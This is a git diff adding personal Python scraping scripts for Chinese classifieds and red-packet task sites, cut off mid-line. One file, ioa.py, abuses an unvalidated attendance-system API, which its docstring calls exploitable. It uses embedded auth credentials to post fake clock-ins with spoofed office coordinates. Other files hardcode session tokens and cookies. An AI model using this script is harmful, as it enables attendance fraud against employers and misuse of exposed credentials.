doc.xpath('//div[@class="all-city"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.ganji.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + + city_info = get_area_list(city_code, city_name) + city_id = city_map.get(city_code) + f.write('\t# %s\n' % city_name.encode('utf-8')) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name.encode('utf-8')) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + for area in city_info['area_list']: + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1].encode('utf-8')) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') + f.flush() + f.write(']') + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + # get_cate() + # get_city() + output_city_area() diff --git a/fuck/hongbaodaren.py b/fuck/hongbaodaren.py new file mode 100644 index 0000000..d897faf --- /dev/null +++ b/fuck/hongbaodaren.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: hongbaodaren.py +@time: 2018-03-20 16:52 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json + + +REQUESTS_TIME_OUT = (30, 30) + + +def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + +s = requests.session() + + +headers = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + +url = 'http://m.hongbaodaren.com/ajax/task/GetOnLineTask' +params = { + 'type': 'currenttask', + 'timmetamp': _get_tc(), +} + +cookies = { + # 'token': 'AD7932D8E813DA170E1B4C5F8759EAF5CF9A020119A2274678FBE3064B8B2B75BCFB5DD695C710F77E368E704CB6B717B3A6C51D09E2E84CB66C2AAF4E37CCB5CA43945271F0249BCED26A688047456171311700CC485A9583FFD8C1C58EAAAB6983D631C11885C0EA9FA637D2421B4D', + 'token': 'AD7932D8E813DA17D44ACD3676AD96E6F6AF4B3E456340CE6415B923898C2C74ABC5E18A4C010786C118021CB36638F91F1ACDCC68A532AE53E6B627182405A29938FCCA6340BB0A5887A846E90A8A27B86AB79D559AF635F9C9AE1166EA39167B0604EEB66D221F42317BF1842664DE', +} + +request_headers = headers.copy() +request_headers['Host'] = 'm.hongbaodaren.com' +request_headers['Referer'] = 'http://m.hongbaodaren.com/tasklist' + +request_cookie = cookies.copy() + +res = s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, +) + +print(res.url) +print(res.status_code) +result = res.json() +print(json.dumps(result, indent=4, ensure_ascii=False)) diff --git a/fuck/ioa.py b/fuck/ioa.py new file mode 100644 index 0000000..e7cddfb --- /dev/null +++ b/fuck/ioa.py @@ -0,0 +1,275 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ioa.py +@time: 2018-01-02 19:55 +""" + + +from __future__ import unicode_literals +from __future__ import print_function + +import json +import time +import requests +from base64 import b64decode +from requests.auth import HTTPBasicAuth + + +REQUESTS_TIME_OUT = (30, 30) + + +s = requests.session() + + +class IoaClient(object): + """ + 爱办公打卡神器(接口参数未校验,此漏洞可利用) + + 方式一(每次都要登录): + ioa_client = IoaClient( + username='13800000000', + password='123456', + ) + ioa_client.check_security_token() + + 方式二(token校验通过免登陆): + ioa_client = IoaClient( + username='13800000000', + password='123456', + security_token='MTM4MTg3MzI1OTNAYWNjb3VudGxvZ2luODY6MTUxNzU3MTU0Njg1ODpiOWJhYWJmNWMzZmZmZDhmMjZiYzFmMWU5MDc4MzdmOA', + staff_id='e9490f62c45d45278ffac841a6d892b8', # 员工编号 + org_id='40b30cfa9f2145b1810e02f953a5b27b', # 组织编号 + ) + ioa_client.check_security_token() + """ + headers = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C153', + 'Host': 'i.ioa.cn', + 'Origin': 'http://i.ioa.cn', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=UTF-8', + } + + auth_username = 'usermobile' + auth_password = 't8kevs1CpGwHB6v8' + + # 上海办公室坐标 + longitude = '121.516476' # 经度 + latitude = '31.311131' # 纬度 + place = '上海市 杨浦区 三门路36号' # 地址(百度坐标有偏移) + + login_status = False + + def __init__(self, username, password, security_token=None, staff_id=None, org_id=None): + self.username = username + self.password = password + self.security_token = security_token + self.staff_id = staff_id + self.org_id = org_id + + if (security_token or staff_id or org_id) and not (security_token and staff_id and org_id): + raise Exception('缺少参数'.encode('utf-8')) + + def check_security_token(self): + """ + 校验 security_token 是否过期 + :return: + """ + if not self.security_token: + return False + security_token_str = b64decode(self.security_token + '=' * (-len(self.security_token) % 4)) + print(security_token_str) + security_token_arr = security_token_str.split(':') + expiration_time = security_token_arr[1] + status = expiration_time > time.time()*1000 + print('check_security_token: %s' % status) + return status + + def login(self): + # TODO http 或 https (非电信不支持https? 待确认) + # 或者 不改协议,重启网络试试?dns问题? + url = 'http://i.ioa.cn/rs/m/security/login' + payload = { + "username": self.username, + "password": self.password, + "phoneZone": "86", + "accessSource": "ios" + } + request_headers = self.headers.copy() + base_auth = HTTPBasicAuth(self.auth_username, self.auth_password) + res = s.post(url, json=payload, auth=base_auth, headers=request_headers, timeout=REQUESTS_TIME_OUT) + if res.status_code == 200: + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + if data['resultCode'] != "0000": + # 登录失败 + print(data['msg']) + return False + + self.staff_id = data['data']['attributes']['staffId'] + self.org_id = data['data']['attributes']['orgId'] + self.security_token = data['data']['attributes']['securityToken'] + self.login_status = True + return True + else: + print(res.status_code) + print(res.content) + return False + + def get_statistics_by_day(self): + """ + 检查打卡状况 + + { + "resultCode": "0000", + "data": { + "dateTime": "8月27日 星期一", + "historyList": [{ + "clockHistoryId": "94827c514009429aa857094a798323eb", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "09:39", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1535333971000, + "attIds": null, + "caseId": null + }], + "clock": null + }, + "msg": null + } + + { + "resultCode": "0000", + "data": { + "dateTime": "8月27日 星期一", + "historyList": [{ + "clockHistoryId": "94827c514009429aa857094a798323eb", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "09:39", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1535333971000, + "attIds": null, + "caseId": null + }, { + "clockHistoryId": "f1051d4978784dbc9b6c426879fb8f0a", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "19:54", + "clockType": 1, + "remark": null, + "longitude": "121.516620", + "latitude": "31.311244", + "place": "上海市 杨浦区 三门路38-1号", + "signType": 0, + "createTime": 1535370881000, + "attIds": null, + "caseId": null + }], + "clock": null + }, + "msg": null + } + 错误结果: + { + "msg": "服务异常", + "resultCode": "1111", + "data": null + } + :return: + """ + url = 'http://i.ioa.cn/hr/h/clockJsonController/getStatisticsByDay' + params = { + 'currentDate': '', + 'staffId': self.staff_id, + } + request_headers = self.headers.copy() + request_headers['securityToken'] = self.security_token + request_headers['Referer'] = 'http://i.ioa.cn/hr/h5/html/attendanceSign' + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + + def fuck(self): + """ + 打卡 + + 正确结果: + { + "resultCode": "0000", + "data": { + "clockHistoryId": "b9bfa5c3e24a4a9f8b1407851f842c7b", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1514895802029, + "clockTime": "20:23", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1514895802088, + "attIds": null, + "caseId": null + }, + "msg": null + } + + 错误结果: + { + "msg": "服务异常", + "resultCode": "1111", + "data": null + } + :return: + """ + if not self.login_status and not self.check_security_token(): + self.login() + url = 'http://i.ioa.cn/hr/h/clockJsonController/addClockHistory' + + request_headers = self.headers.copy() + request_headers['securityToken'] = self.security_token + + payload = { + "longitude": self.longitude, # 经度 + "latitude": self.latitude, # 纬度 + "place": self.place, # 地址 + "clockType": 1, + "signType": 0, + "staffId": self.staff_id, # 员工编号 + "primaryOrgId": self.org_id # 组织编号 + } + res = s.post(url, json=payload, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + # 打卡 + ioa_client = IoaClient( + username='13800000000', + password='123456', + ) + # ioa_client.login() + # ioa_client.get_statistics_by_day() + ioa_client.fuck() + ioa_client.get_statistics_by_day() diff --git a/fuck/js_sogou.py b/fuck/js_sogou.py new file mode 100644 index 0000000..650bcdc --- /dev/null +++ b/fuck/js_sogou.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: js_sogou.py +@time: 2017/11/29 上午11:38 +""" + +import execjs + + +ss = u''' + def res() { + return d; + } +''' + +ctx = execjs.compile(ss) + + + +if __name__ == '__main__': + pass diff --git a/fuck/liebiao.py b/fuck/liebiao.py new file mode 100644 index 0000000..1e4110b --- /dev/null +++ b/fuck/liebiao.py @@ -0,0 +1,538 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: liebiao.py +@time: 2017/8/23 上午10:34 +""" + + +import lxml.html +import requests + + +header_cate = { + 'Host': 'shanghai.liebiao.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +header_city = { + 'Host': 'www.liebiao.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +s = requests.session() + + +city_map = { + 'anshan': 2103, # 鞍山 + 'anyang': 4105, # 安阳 + 'anshun': 5204, # 安顺 + 'anqing': 3408, # 安庆 + 'ankang': 6109, # 安康 + 'ali': 5425, # 阿里 + 'aletai': 6543, # 阿勒泰 + 'alashan': 1529, # 阿拉善 + 'alaer': 6545, # 阿拉尔 + 'akesu': 6529, # 阿克苏 + 'aba': 5132, # 阿坝 + 'beijing': 11, # 北京 + 'baoding': 1306, # 保定 + 'baotou': 1502, # 包头 + 'binzhou': 3716, # 滨州 + 'baicheng': 2208, # 白城 + 'bengbu': 3403, # 蚌埠 + 'benxi': 2105, # 本溪 + 'bijie': 5224, # 毕节 + 'boertala': 6527, # 博尔塔拉 + 'beihai': 4505, # 北海 + 'bazhong': 5119, # 巴中 + 'bayinguoleng': 6528, # 巴音郭楞 + 'bayannaoer': 1508, # 巴彦淖尔 + 'baoshan': 5305, # 保山 + 'baoji': 6103, # 宝鸡 + 'baiyin': 6204, # 白银 + 'baishan': 2206, # 白山 + 'baise': 4510, # 百色 + 'bozhou': 3416, # 亳州 + 'baisha': 43, # 白沙 + 'baoting': 6325, # 保亭 + 'chongqing': 50, # 重庆 + 'chengdu': 5101, # 成都 + 'changchun': 2201, # 长春 + 'changsha': 4301, # 长沙 + 'changzhou': 3204, # 常州 + 'cangzhou': 1309, # 沧州 + 'changde': 4307, # 常德 + 'chuxiong': 5323, # 楚雄 + 'chongzuo': 4514, # 崇左 + 'changdu': 5421, # 昌都 + 'chaozhou': 4451, # 潮州 + 'chenzhou': 4310, # 郴州 + 'chizhou': 3417, # 池州 + 'chaohu': 3414, # 巢湖 + 'chuzhou': 3411, # 滁州 + 'chaoyang': 2113, # 朝阳 + 'chifeng': 1504, # 赤峰 + 'changzhi': 1404, # 长治 + 'chengde': 1308, # 承德 + 'changji': 6523, # 昌吉 + 'changjiang': 6325, # 昌江 + 'chengmai': 6325, # 澄迈 + 'dalian': 2102, # 大连 + 'daqing': 2306, # 大庆 + 'dongguan': 4419, # 东莞 + 'dongying': 3705, # 东营 + 'dezhou': 3714, # 德州 + 'diqing': 5334, # 迪庆 + 'dehong': 5331, # 德宏 + 'dali': 5329, # 大理 + 'dazhou': 5117, # 达州 + 'deyang': 5106, # 德阳 + 'datong': 1402, # 大同 + 'daxinganling': 2327, # 大兴安岭 + 'dandong': 2106, # 丹东 + 'dingxi': 6211, # 定西 + 'danzhou': 4605, # 儋州 + 'dongfang': 4608, # 东方 + 'dingan': 6325, # 定安 + 'eerduosi': 1506, # 鄂尔多斯 + 'enshi': 4228, # 恩施 + 'ezhou': 4207, # 鄂州 + 'fuzhou': 3501, # 福州 + 'foshan': 4406, # 佛山 + 'fangchenggang': 4506, # 防城港 + 'fushun': 2104, # 抚顺 + 'fuxin': 2109, # 阜新 + 'fuyang': 3412, # 阜阳 + 'fz': 3610, # 抚州 + 'guangzhou': 4401, # 广州 + 'guiyang': 5201, # 贵阳 + 'guilin': 4503, # 桂林 + 'guoluo': 6326, # 果洛 + 'guigang': 4508, # 贵港 + 'gannan': 6230, # 甘南 + 'guangyuan': 5108, # 广元 + 'guangan': 5116, # 广安 + 'ganzi': 5133, # 甘孜 + 'ganzhou': 3607, # 赣州 + 'guyuan': 6404, # 固原 + 'hangzhou': 3301, # 杭州 + 'haerbin': 2301, # 哈尔滨 + 'hefei': 3401, # 合肥 + 'haikou': 4601, # 海口 + 'handan': 1304, # 邯郸 + 'huizhou': 4413, # 惠州 + 'huhehaote': 1501, # 呼和浩特 + 'huzhou': 3305, # 湖州 + 'hengyang': 4304, # 衡阳 + 'huaian': 3208, # 淮安 + 'hengshui': 1311, # 衡水 + 'hezhou': 4511, # 贺州 + 'heyuan': 4416, # 河源 + 'hechi': 4512, # 河池 + 'honghe': 53, # 红河 + 'hanzhong': 6107, # 汉中 + 'haidong': 6321, # 海东 + 'haibei': 6322, # 海北 + 'huangnan': 6323, # 黄南 + 'hami': 6522, # 哈密 + 'haixi': 6328, # 海西 + 'huaihua': 4312, # 怀化 + 'hulunbeier': 1507, # 呼伦贝尔 + 'huludao': 2114, # 葫芦岛 + 'hegang': 2304, # 鹤岗 + 'heihe': 2311, # 黑河 + 'huainan': 3404, # 淮南 + 'huaibei': 3406, # 淮北 + 'huangshan': 3410, # 黄山 + 'heze': 3717, # 菏泽 + 'hebi': 4106, # 鹤壁 + 'huangshi': 4202, # 黄石 + 'huanggang': 4211, # 黄冈 + 'hetian': 6532, # 和田 + 'jinan': 3701, # 济南 + 'jining': 3708, # 济宁 + 'jiaxing': 3304, # 嘉兴 + 'jinhua': 3307, # 金华 + 'jiangmen': 4407, # 江门 + 'jilin': 22, # 吉林 + 'jieyang': 4452, # 揭阳 + 'jinchang': 6203, # 金昌 + 'jingzhou': 4210, # 荆州 + 'jingmen': 4208, # 荆门 + 'jiyuan': 4118, # 济源 + 'jiaozuo': 4108, # 焦作 + 'jiayuguan': 6202, # 嘉峪关 + 'jincheng': 1405, # 晋城 + 'jian': 3608, # 吉安 + 'jiujiang': 3604, # 九江 + 'jingdezhen': 3602, # 景德镇 + 'jiamusi': 2308, # 佳木斯 + 'jixi': 2303, # 鸡西 + 'jinzhou': 2107, # 锦州 + 'jinzhong': 1407, # 晋中 + 'jiuquan': 6209, # 酒泉 + 'kunming': 5301, # 昆明 + 'kaifeng': 4102, # 开封 + 'kashi': 6531, # 喀什 + 'kelamayi': 6502, # 克拉玛依 + 'kezilesu': 65, # 克孜勒苏 + 'lanzhou': 6201, # 兰州 + 'lasa': 5401, # 拉萨 + 'linyi': 3713, # 临沂 + 'luoyang': 4103, # 洛阳 + 'langfang': 1310, # 廊坊 + 'liaocheng': 3715, # 聊城 + 'luzhou': 5105, # 泸州 + 'leshan': 5111, # 乐山 + 'liangshan': 5134, # 凉山 + 'liupanshui': 5202, # 六盘水 + 'lijiang': 5307, # 丽江 + 'lincang': 5309, # 临沧 + 'linzhi': 5426, # 林芝 + 'longnan': 6212, # 陇南 + 'laibin': 4513, # 来宾 + 'liuzhou': 4502, # 柳州 + 'loudi': 4313, # 娄底 + 'linfen': 1410, # 临汾 + 'lvliang': 1411, # 吕梁 + 'liaoyang': 2110, # 辽阳 + 'liaoyuan': 2204, # 辽源 + 'lianyungang': 3207, # 连云港 + 'lishui': 3311, # 丽水 + 'luan': 3415, # 六安 + 'longyan': 3508, # 龙岩 + 'laiwu': 3712, # 莱芜 + 'luohe': 4111, # 漯河 + 'linxia': 6229, # 临夏 + 'ledong': 6325, # 乐东 + 'lingao': 6325, # 临高 + 'lingshui': 6325, # 陵水 + 'maoming': 4409, # 茂名 + 'mianyang': 5107, # 绵阳 + 'maanshan': 3405, # 马鞍山 + 'meishan': 5114, # 眉山 + 'meizhou': 4414, # 梅州 + 'mudanjiang': 2310, # 牡丹江 + 'nanjing': 3201, # 南京 + 'nanning': 4501, # 南宁 + 'ningbo': 3302, # 宁波 + 'nantong': 3206, # 南通 + 'nanyang': 4113, # 南阳 + 'nanchang': 3601, # 南昌 + 'nanping': 3507, # 南平 + 'naqu': 5424, # 那曲 + 'neijiang': 5110, # 内江 + 'nanchong': 5113, # 南充 + 'ningde': 3509, # 宁德 + 'nujiang': 5333, # 怒江 + 'pingdingshan': 4104, # 平顶山 + 'panjin': 2111, # 盘锦 + 'panzhihua': 5104, # 攀枝花 + 'pingliang': 6208, # 平凉 + 'pingxiang': 3603, # 萍乡 + 'puer': 5311, # 普洱 + 'putian': 3503, # 莆田 + 'puyang': 4109, # 濮阳 + 'qingdao': 3702, # 青岛 + 'quanzhou': 3505, # 泉州 + 'qinhuangdao': 1303, # 秦皇岛 + 'qujing': 5303, # 曲靖 + 'qitaihe': 2309, # 七台河 + 'qiqihaer': 2302, # 齐齐哈尔 + 'qionghai': 4604, # 琼海 + 'qinzhou': 4507, # 钦州 + 'qiandongnan': 5226, # 黔东南 + 'qingyuan': 4418, # 清远 + 'qingyang': 6210, # 庆阳 + 'qianxinan': 5223, # 黔西南 + 'qiannan': 5227, # 黔南 + 'qianjiang': 4230, # 潜江 + 'quzhou': 3308, # 衢州 + 'qiongzhong': 6325, # 琼中 + 'rikaze': 5423, # 日喀则 + 'rizhao': 3711, # 日照 + 'shanghai': 31, # 上海 + 'suzhou': 3205, # 苏州 + 'shenyang': 2101, # 沈阳 + 'shijiazhuang': 1301, # 石家庄 + 'shenzhen': 4403, # 深圳 + 'shaoxing': 3306, # 绍兴 + 'shantou': 4405, # 汕头 + 'shangqiu': 4114, # 商丘 + 'suihua': 2312, # 绥化 + 'shaoguan': 4402, # 韶关 + 'siping': 2203, # 四平 + 'shuozhou': 1406, # 朔州 + 'shanwei': 4415, # 汕尾 + 'sanya': 4602, # 三亚 + 'suining': 5109, # 遂宁 + 'shannan': 5422, # 山南 + 'shangluo': 6110, # 商洛 + 'shizuishan': 6402, # 石嘴山 + 'shaoyang': 4305, # 邵阳 + 'shennongjia': 4232, # 神农架 + 'suqian': 3213, # 宿迁 + 'shuangyashan': 2305, # 双鸭山 + 'suzh': 3413, # 宿州 + 'sanming': 3504, # 三明 + 'shangrao': 3611, # 上饶 + 'sanmenxia': 4112, # 三门峡 + 'songyuan': 2207, # 松原 + 'shiyan': 4203, # 十堰 + 'suizhou': 4213, # 随州 + 'shihezi': 6544, # 石河子 + 'sansha': 6325, # 三沙 + 'tianjin': 12, # 天津 + 'taiyuan': 1401, # 太原 + 'tangshan': 1302, # 唐山 + 'taizhou': 3310, # 台州 + 'taian': 3709, # 泰安 + 'taizh': 3212, # 泰州 + 'tongling': 3407, # 铜陵 + 'tongren': 5222, # 铜仁 + 'tulufan': 6521, # 吐鲁番 + 'tacheng': 6542, # 塔城 + 'tongliao': 1505, # 通辽 + 'tonghua': 2205, # 通化 + 'tongchuan': 6102, # 铜川 + 'tieling': 2112, # 铁岭 + 'tianshui': 6205, # 天水 + 'tianmen': 4231, # 天门 + 'tumushuke': 6546, # 图木舒克 + 'tunchang': 6325, # 屯昌 + 'wuhan': 4201, # 武汉 + 'wulumuqi': 6501, # 乌鲁木齐 + 'wenzhou': 3303, # 温州 + 'wuxi': 3202, # 无锡 + 'weihai': 3710, # 威海 + 'weifang': 3707, # 潍坊 + 'wulanchabu': 1509, # 乌兰察布 + 'wuwei': 6206, # 武威 + 'wuzhong': 6403, # 吴忠 + 'wujiaqu': 6547, # 五家渠 + 'wuhu': 3402, # 芜湖 + 'wanning': 4607, # 万宁 + 'wuhai': 1503, # 乌海 + 'wenshan': 5326, # 文山 + 'wenchang': 4606, # 文昌 + 'weinan': 6105, # 渭南 + 'wuzhou': 4504, # 梧州 + 'wuzhishan': 4603, # 五指山 + 'xian': 6101, # 西安 + 'xiamen': 3502, # 厦门 + 'xuzhou': 3203, # 徐州 + 'xingtai': 1305, # 邢台 + 'xiangfan': 4206, # 襄樊 + 'xuchang': 4110, # 许昌 + 'xinxiang': 4107, # 新乡 + 'xishuangbanna': 5328, # 西双版纳 + 'xiangxi': 4331, # 湘西 + 'xianyang': 6104, # 咸阳 + 'xiangtan': 4303, # 湘潭 + 'xiantao': 4229, # 仙桃 + 'xianning': 4212, # 咸宁 + 'xiaogan': 4209, # 孝感 + 'xinyang': 4115, # 信阳 + 'xinyu': 3605, # 新余 + 'xuancheng': 3418, # 宣城 + 'xilinguole': 15, # 锡林郭勒 + 'xingan': 15, # 兴安 + 'xinzhou': 1409, # 忻州 + 'xining': 6301, # 西宁 + 'yinchuan': 6401, # 银川 + 'yantai': 3706, # 烟台 + 'yancheng': 3209, # 盐城 + 'yangzhou': 3210, # 扬州 + 'yueyang': 4306, # 岳阳 + 'yichang': 4205, # 宜昌 + 'yangquan': 1403, # 阳泉 + 'yulin': 4509, # 玉林 + 'yibin': 5115, # 宜宾 + 'yaan': 5118, # 雅安 + 'yuxi': 5304, # 玉溪 + 'yanan': 6106, # 延安 + 'yul': 6108, # 榆林 + 'yushu': 6327, # 玉树 + 'yunfu': 4453, # 云浮 + 'yangjiang': 4417, # 阳江 + 'yuncheng': 1408, # 运城 + 'yingkou': 2108, # 营口 + 'yanbian': 2224, # 延边 + 'yichun': 2307, # 伊春 + 'yingtan': 3606, # 鹰潭 + 'yich': 3609, # 宜春 + 'yiyang': 4309, # 益阳 + 'yongzhou': 4311, # 永州 + 'yili': 6540, # 伊犁 + 'yangpu': 6325, # 洋浦 + 'zhengzhou': 4101, # 郑州 + 'zhuhai': 4404, # 珠海 + 'zibo': 3703, # 淄博 + 'zhenjiang': 3211, # 镇江 + 'zhangzhou': 3506, # 漳州 + 'zhongshan': 4420, # 中山 + 'zhanjiang': 4408, # 湛江 + 'zhaoqing': 4412, # 肇庆 + 'zhoukou': 4116, # 周口 + 'zaozhuang': 3704, # 枣庄 + 'zhumadian': 4117, # 驻马店 + 'zunyi': 5203, # 遵义 + 'zhaotong': 5306, # 昭通 + 'zhangjiakou': 1307, # 张家口 + 'zhangye': 6207, # 张掖 + 'ziyang': 5120, # 资阳 + 'zigong': 5103, # 自贡 + 'zhangjiajie': 4308, # 张家界 + 'zhuzhou': 4302, # 株洲 + 'zhoushan': 3309, # 舟山 + 'zhongwei': 6405, # 中卫 +} + + +def get_cate(): + """ + 获取分类 + :return: + """ + s.headers = header_cate + url = 'http://shanghai.liebiao.com/shenghuo/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + + dl = doc.xpath('//div[@class="hover-div"]//tr') + # 形式一 + # for item in dl: + # # dt + # cate_code = item.xpath('./th/a/@href')[0].strip('/') + # cate_name = item.xpath('./th/a/text()')[0].strip() + # print cate_code, cate_name + # # dd + # dd_list = item.xpath('./td/a') + # for dd in dd_list: + # cate_code_small = dd.xpath('./@href')[0].strip('/') + # cate_name_small = dd.xpath('./text()')[0].strip('') + # print '\t', cate_code_small, cate_name_small + + # 形式二 + print 'cate_map = [' + for item in dl: + # dt + cate_code = item.xpath('./th/a/@href')[0].strip('/') + cate_name = item.xpath('./th/a/text()')[0].strip() + print '\t# %s' % cate_name + print '\t{' + print '\t\t\'code\': \'%s\',' % cate_code + print '\t\t\'name\': u\'%s\',' % cate_name + print '\t\t\'small\': [' + # dd + dd_list = item.xpath('./td/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t\t\t{' + print '\t\t\t\t\'code\': \'%s\',' % cate_code_small + print '\t\t\t\t\'name\': u\'%s\',' % cate_name_small + # print '\t\t\t\t\'id\': \'%s\',' % cate_map_v4.get(cate_code_small, '') + print '\t\t\t\t\'id\': \'\',' + print '\t\t\t},' + print '\t\t]' + print '\t},' + print ']' + + +def get_city(): + """ + 获取城市 + :return: + """ + s.headers = header_city + url = 'http://www.liebiao.com/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="box w_d"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.liebiao.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + yield city_code, city_name + + +def get_area_list(city_code, city_name, province='', district=''): + """ + 获取区域列表 + :param city_code: + :param city_name: + :param province: + :param district: + :return: + """ + url = 'http://%s.liebiao.com/yuesao/' % city_code + + header_area = { + 'Host': '%s.liebiao.com' % city_code, + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' + } + + s.headers = header_area + + html = s.get(url).text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//div[@class="cond-con"]/dl[2]/dd/a[not(@class="current")]') + area_list = [] + for link_item in link_list: + city_code_small = link_item.xpath('./@href')[0].strip().split('/')[-3] + city_name_small = link_item.xpath('./text()')[0].strip() + area_list.append((city_code_small, city_name_small)) + print area_list + + return { + 'city_code': city_code, + 'city_name': city_name, + 'province': province, + 'district': district, + 'area_list': area_list, + } + + +def output_city_area(): + """ + 输出城市地区到文件 + :return: + """ + with open('city_area_lb.py', 'wb') as f: + + f.write("# encoding: utf-8\n\n") + + f.write('city_map = [\n') + + for city_code, city_name in get_city(): + + city_info = get_area_list(city_code, city_name) + city_id = city_map.get(city_code) + f.write('\t# %s\n' % city_name.encode('utf-8')) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name.encode('utf-8')) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + for area in city_info['area_list']: + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1].encode('utf-8')) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') + f.flush() + f.write(']') + + +if __name__ == '__main__': + # get_cate() + # get_city() + # get_area_list('shanghai', '上海') + output_city_area() diff --git a/fuck/logo.gif b/fuck/logo.gif new file mode 100644 index 0000000..465401e Binary files /dev/null and b/fuck/logo.gif differ diff --git a/fuck/pphongbao.py b/fuck/pphongbao.py new file mode 100644 index 0000000..842a448 --- /dev/null +++ b/fuck/pphongbao.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: pphongbao.py +@time: 2018-03-20 17:45 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json +from scrapy.selector import Selector + +REQUESTS_TIME_OUT = (30, 30) + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + + +class PPHB(object): + def __init__(self, session_id): + self.s = requests.session() + self.cookies = { + 'PHPSESSID': session_id, + '_cb': '1', + 'Hm_lpvt_e91800291a5741f043ef7d78a2580f0b': '1521613708', + 'Hm_lvt_e91800291a5741f043ef7d78a2580f0b': '1521604913,1521604974,1521605859,1521606583', + 'ppport': '10091', + 'fast_s_n': '1', + 'USERINFO': 